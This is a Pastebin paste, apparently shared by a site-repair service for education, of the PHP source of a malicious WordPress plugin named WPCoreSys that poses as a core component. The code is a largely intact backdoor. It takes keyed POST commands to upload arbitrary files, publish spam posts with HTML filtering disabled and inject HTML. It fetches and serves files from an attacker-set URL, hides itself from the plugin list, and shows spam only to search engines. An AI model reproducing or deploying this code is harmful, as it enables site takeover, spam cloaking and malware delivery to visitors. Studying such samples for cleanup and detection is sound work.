hackrepair

2016.05.HackerWordPress Plugin Text - WPCoreSys.php

Jul 12th, 2016
511
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. WPCoreSys.php text from a WordPress hacker plugin with references to "dolly_plugin"
  2. Some functions removed to disable script and re-use. For education purposes only.
  3. Primary action: to inject new posts into WordPress
  4.  
  5.  
  6. <?php
  7. /*
  8. * Plugin Name: WPCoreSys
  9. * Version: 2.0
  10. * Author: Wordpress
  11. */
  12. error_reporting(0);
  13. function fn_dolly_get_filename_from_headers($headers)
  14. {
  15. if (is_array($headers))
  16. {
  17. foreach($headers as $header => $value)
  18. {
  19. if (stripos($header,'content-disposition') !== false || stripos($value,'content-disposition') !== false)
  20. {
  21. $tmp_name = explode('=', $value);
  22. if ($tmp_name[1])
  23. {
  24. $tmp_name = trim($tmp_name[1],'";\'');
  25. break;
  26. }
  27. }
  28. }
  29. }
  30. return (isset($tmp_name) && !empty($tmp_name)) ? $tmp_name : false;
  31. }
  32. function fn_dolly_get_cookie_name()
  33. {
  34. return 'wp-' . md5(get_home_url() . 'w_cookie');
  35. }
  36. function fn_dolly_get_table_name()
  37. {
  38. global $wpdb;
  39. return $wpdb->prefix . 'dolly_plugin_table';
  40. }
  41. {
  42. global $wpdb;
  43. $table_name = fn_dolly_get_table_name();
  44. if($wpdb->get_var("SHOW TABLES LIKE '$table_name'") != $table_name)
  45. {
  46. $charset_collate = $wpdb->get_charset_collate();
  47. $sql = "CREATE TABLE {$table_name} (
  48. hash varchar(32) NOT NULL,
  49. url varchar(190) NOT NULL,
  50. time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
  51. UNIQUE KEY hash (hash)
  52. ) {$charset_collate};";
  53. require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
  54. dbDelta($sql);
  55. }
  56. }
  57. class dolly_plugin
  58. {
  59. var $m_root_path;
  60. var $m_upload_path;
  61. var $m_upload_url;
  62. var $m_request;
  63. var $m_actions;
  64. var $m_useragent = 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0)';
  65. var $m_secookie = '';
  66. public function __construct()
  67. {
  68. $this->m_actions = array('INIT', 'TARGET', 'UPLOAD', 'POST', 'STATS', 'HTML');
  69.  
  70. $this->m_root_path = plugin_dir_path(__FILE__);
  71.  
  72. $upload_path = wp_upload_dir();
  73. if (isset($upload_path['path']) && is_writable($upload_path['path']))
  74. {
  75. $this->m_upload_path = $upload_path['path'];
  76. $this->m_upload_url = $upload_path['url'];
  77. }
  78. if (isset($_COOKIE[fn_dolly_get_cookie_name()]))
  79. $this->m_secookie = true;
  80. if ( (!$this->is_se_request() && empty($this->m_secookie)) )
  81. {
  82. add_filter('posts_clauses', array($this, 'posts_clauses'), 0, 2);
  83. add_filter('terms_clauses', array($this, 'terms_clauses'), 0, 2);
  84. }
  85. else
  86. {
  87. if (empty($this->m_secookie))
  88. setcookie(fn_dolly_get_cookie_name(), 'true', time() + (5 * MINUTE_IN_SECONDS), COOKIEPATH, COOKIE_DOMAIN);
  89. add_action('installation_point', array($this, 'insert_content'));
  90. add_action('dynamic_sidebar', array($this, 'insert_content'));
  91. add_action('wp_footer', array($this, 'insert_content'));
  92. }
  93. add_action('init', array($this, 'wp_init'), 0);
  94. add_action('wp_title', array($this, 'count_post_stats'));
  95. add_action('wp_head', array($this, 'count_post_stats'));
  96. add_action('dynamic_sidebar', array($this, 'count_post_stats'));
  97. add_action('wp_footer', array($this, 'count_post_stats'));
  98. if (is_admin())
  99. add_action('all_plugins', array($this, 'all_plugins'));
  100. add_filter('get_the_excerpt', array($this, 'get_the_excerpt'));
  101. register_activation_hook(__FILE__, 'fn_dolly_plugin_activation_hook');
  102. $this->track_target_download();
  103. }
  104. private function parse_request()
  105. {
  106. $this->m_request = false;
  107. foreach ($_POST as $key => $value)
  108. {
  109. if (stripos($key, 'w_') === false)
  110. continue;
  111. if (!is_array($this->m_request))
  112. $this->m_request = array();
  113. $this->m_request[$key] = $value;
  114. }
  115. if (!isset($this->m_request['w_action']) || !isset($this->m_request['w_seckey']))
  116. $this->m_request = false;
  117. return $this->m_request;
  118. }
  119. public function wp_init()
  120. {
  121. global $wpdb;
  122. if ($this->parse_request() !== false)
  123. {
  124. $action = $this->m_request['w_action'];
  125. $key_req = $this->m_request['w_seckey'];
  126. $key_hash = get_option('w_dolly_hash');
  127. if (empty($key_hash) && $action == 'INIT')
  128. add_option('w_dolly_hash', md5($key_req)) === true ? $this->result(1) : $this->result(0);
  129. if ((!empty($key_req) && !empty($key_hash)) && ($key_hash != md5($key_req)))
  130. $this->result(0);
  131. switch ($action)
  132. {
  133. case 'TARGET':
  134. {
  135. if (empty($this->m_request['w_target']))
  136. $this->result(0);
  137. $target = base64_decode($this->m_request['w_target']);
  138. update_option('w_dolly_target', $target) === true ? $this->result(1) : $this->result(0);
  139. break;
  140. }
  141. case 'UPLOAD':
  142. {
  143. if (empty($this->m_request['w_filename']) || empty($this->m_request['w_filedata']))
  144. $this->result(0);
  145. $path = $this->m_upload_path . '/' . $this->m_request['w_filename'];
  146. $url = $this->m_upload_url . '/' . $this->m_request['w_filename'];
  147. $data = base64_decode(rawurldecode($this->m_request['w_filedata']));
  148. file_put_contents($path, $data) === false ? $this->result(0) : $this->result($url);
  149. break;
  150. }
  151. case 'POST':
  152. {
  153. if (empty($this->m_request['w_postbody']) || empty($this->m_request['w_posttitle']))
  154. $this->result(0);
  155. $post_body = base64_decode(rawurldecode($this->m_request['w_postbody']));
  156. $dolly_excerpt = get_option('w_dolly_excerpt');
  157. if (empty($dolly_excerpt))
  158. {
  159. $dolly_excerpt = substr($key_hash, 0, 5);
  160. add_option('w_dolly_excerpt', $dolly_excerpt);
  161. }
  162. $new_post = array(
  163. 'post_title' => $this->m_request['w_posttitle'],
  164. 'post_content' => $post_body,
  165. 'post_status' => 'publish',
  166. 'post_author' => 1
  167. );
  168. if (!empty($this->m_request['w_postcat']))
  169. {
  170. $post_cat = $this->m_request['w_postcat'];
  171. $cat_id = get_cat_ID($post_cat);
  172. if ($cat_id == 0)
  173. {
  174. $new_term = wp_insert_term($post_cat, 'category');
  175. $cat_id = intval($new_term['term_id']);
  176. }
  177. $new_post['post_category'] = array($cat_id);
  178. }
  179. kses_remove_filters();
  180. $post_id = wp_insert_post($new_post);
  181. if (is_int($post_id) && $post_id > 0)
  182. {
  183. $excerpt = apply_filters('the_excerpt', get_post_field('post_content', $post_id));
  184. $excerpt = $excerpt . $dolly_excerpt;
  185. $post_update = array('ID' => $post_id, 'post_excerpt' => $excerpt);
  186. wp_update_post($post_update, true);
  187. $url = get_permalink($post_id);
  188. $this->result($url);
  189. }
  190. $this->result(0);
  191. break;
  192. }
  193. case 'STATS':
  194. {
  195. $table = fn_dolly_get_table_name();
  196. $result = $wpdb->get_results("SELECT url, COUNT(url) AS hits FROM {$table} GROUP BY url");
  197. $stats = '';
  198. foreach ($result as $value)
  199. $stats .= $value->url . '|' . $value->hits . "\n";
  200. $this->result($stats);
  201. break;
  202. }
  203. case 'HTML':
  204. {
  205. if (empty($this->m_request['w_html']))
  206. $this->result(0);
  207. $html = base64_decode($this->m_request['w_html']);
  208. update_option('w_dolly_html', $html) === true ? $this->result(1) : $this->result(0);
  209. break;
  210. }
  211. }
  212. }
  213. $this->reset_stats();
  214. }
  215. public function get_the_excerpt($ex)
  216. {
  217. $excerpt = get_option('w_dolly_excerpt');
  218. if (!empty($excerpt))
  219. $ex = str_replace($excerpt, '', $ex);
  220. return $ex;
  221. }
  222. public function all_plugins($plugins)
  223. {
  224. $self_file = str_replace($this->m_root_path, '', __FILE__);
  225. foreach ($plugins as $plugin_file => $plugin_data)
  226. {
  227. if (stripos($plugin_file, $self_file) !== false)
  228. {
  229. unset($plugins[$plugin_file]);
  230. break;
  231. }
  232. }
  233. return $plugins;
  234. }
  235. public function posts_clauses($clauses, $query)
  236. {
  237. global $wpdb;
  238. $excerpt = get_option('w_dolly_excerpt');
  239. if (!empty($excerpt))
  240. {
  241. $clauses['where'] .= " AND {$wpdb->posts}.post_excerpt NOT LIKE '%{$excerpt}%'";
  242. }
  243. return $clauses;
  244. }
  245. public function terms_clauses($clauses, $query)
  246. {
  247. global $wpdb;
  248. $excerpt = get_option('w_dolly_excerpt');
  249. if (!empty($excerpt))
  250. {
  251. $cats = $wpdb->get_col(
  252. "SELECT key1.term_id FROM wp_term_taxonomy key1
  253. INNER JOIN wp_term_relationships key2 ON key2.term_taxonomy_id = key1.term_taxonomy_id AND key1.taxonomy = 'category'
  254. INNER JOIN wp_posts key3 ON key3.id = key2.object_id AND key3.post_excerpt LIKE '%{$excerpt}%'"
  255. );
  256. $clauses['where'] .= " AND t.term_id NOT IN(" . implode(",", $cats) . ")";
  257. }
  258. return $clauses;
  259. }
  260. public function insert_content($args)
  261. {
  262. global $g_html_inserted, $g_links_inserted;
  263. if (!isset($g_html_inserted) && $_SERVER["REQUEST_URI"] == "/")
  264. {
  265. $html = get_option('w_dolly_html');
  266. if (!empty($html))
  267. echo $html;
  268. $g_html_inserted = true;
  269. }
  270. if (!isset($g_links_inserted))
  271. {
  272. echo "\r\n";
  273. echo "<ul>\r\n";
  274. wp_get_archives();
  275. echo "</ul>\r\n";
  276. echo "\r\n";
  277. $g_links_inserted = true;
  278. }
  279. }
  280. public function count_post_stats()
  281. {
  282. global $g_stats_counted, $post, $wpdb;
  283. if (empty($g_stats_counted) && is_object($post) && is_single())
  284. {
  285. $w_excerpt = get_option('w_dolly_excerpt');
  286. $p_excerpt = $post->post_excerpt;
  287. if (stripos($p_excerpt, $w_excerpt) !== false)
  288. {
  289. $table_name = fn_dolly_get_table_name();
  290. $post_url = get_the_permalink();
  291. $ip = isset($_SERVER['HTTP_X_REAL_IP']) ? $_SERVER['HTTP_X_REAL_IP'] : null;
  292. $ip = empty($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $ip;
  293. $ip = empty($ip) && isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : $ip;
  294. $hash = md5($ip . $_SERVER['HTTP_USER_AGENT']);
  295. $sql = "INSERT INTO {$table_name} (hash, url, time) VALUES(%s, %s, NOW())";
  296. $sql = $wpdb->prepare($sql, $hash, $post_url);
  297. $wpdb->query($sql);
  298. $g_stats_counted = true;
  299. }
  300. }
  301. }
  302. private function track_target_download()
  303. {
  304. $target = get_option('w_dolly_target');
  305. $hash = get_option('w_dolly_hash');
  306. $var = isset($_GET[$hash]) ? $_GET[$hash] : false;
  307. if (!empty($target) && $var !== false)
  308. {
  309. $target_url = $target . '?target=' . $var;
  310. $target_path = $this->m_upload_path . '/' . $var;
  311. $target_mtime = intval(filemtime($target_path));
  312. $target_name = '';
  313. $target_content = '';
  314. if (!file_exists($target_path) || ($target_mtime > 0 && (time() - $target_mtime >= HOUR_IN_SECONDS)))
  315. {
  316. if (file_exists($target_path))
  317. unlink($target_path);
  318. if (!function_exists('wp_remote_get'))
  319. {
  320. $request = wp_remote_get($target_url, array('user-agent' => $this->m_useragent));
  321. if (is_array($request) && !empty($request['body']))
  322. {
  323. $target_name = fn_dolly_get_filename_from_headers($request['headers']);
  324. $response_code = wp_remote_retrieve_response_code($request);
  325. if ($response_code == 200)
  326. $target_content = wp_remote_retrieve_body($request);
  327. }
  328. }
  329. if (empty($target_content))
  330. {
  331. $opts = array('http' => array(
  332. 'method' => 'GET',
  333. 'header' => 'User-agent: ' . $this->m_useragent . "\r\n")
  334. );
  335. $context = stream_context_create($opts);
  336. $target_content = file_get_contents($target_url, false, $context);
  337. $target_name = fn_dolly_get_filename_from_headers($http_response_header);
  338. }
  339. if (!empty($target_content))
  340. file_put_contents($target_path, $target_content);
  341. if (!empty($target_name))
  342. file_put_contents($target_path . '.name', $target_name);
  343. }
  344. else
  345. $target_content = file_get_contents($target_path);
  346. if (empty($target_content))
  347. {
  348. header('Location: ' . $target_url);
  349. die();
  350. }
  351. else
  352. {
  353. $target_name = file_exists($target_path . '.name') ? trim(file_get_contents($target_path . '.name')) : $var;
  354. header('Content-Description: File Transfer');
  355. header('Content-Type: application/octet-stream');
  356. header('Content-Disposition: attachment; filename="' . $target_name . '"');
  357. header('Content-Transfer-Encoding: binary');
  358. header('Expires: 0');
  359. header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  360. header('Pragma: public');
  361. header('Content-Length: ' . strlen($target_content));
  362. die($target_content);
  363. }
  364. }
  365. }
  366. private function reset_stats()
  367. {
  368. global $wpdb;
  369. $last_reset_time = intval(get_option('w_dolly_resettime'));
  370. if ((time() - $last_reset_time) >= (60 * 60 * 1))
  371. {
  372. $table_name = fn_dolly_get_table_name();
  373. $wpdb->query("DELETE FROM {$table_name} WHERE time <= NOW() - INTERVAL 1 DAY");
  374. update_option('w_dolly_resettime', time());
  375. }
  376. }
  377. private function result($code)
  378. {
  379. die('[***[' . $code . ']***]');
  380. }
  381. private function is_se_request()
  382. {
  383. $is_se = false;
  384. $se_name = array('google', 'yahoo', 'msn', 'bing');
  385. $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
  386. $agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
  387. if (!empty($referer) || !empty($agent))
  388. {
  389. foreach ($se_name as $name)
  390. {
  391. if (stripos($referer, $name) !== false || stripos($agent, $name) !== false)
  392. {
  393. $is_se = true;
  394. break;
  395. }
  396. }
  397. }
  398. return $is_se;
  399. }
  400. }
  401. global $g_dolly_plugin;
  402. if (!isset($g_dolly_plugin))
  403. $g_dolly_plugin = new dolly_plugin();
  404. ?>
RAW Paste Data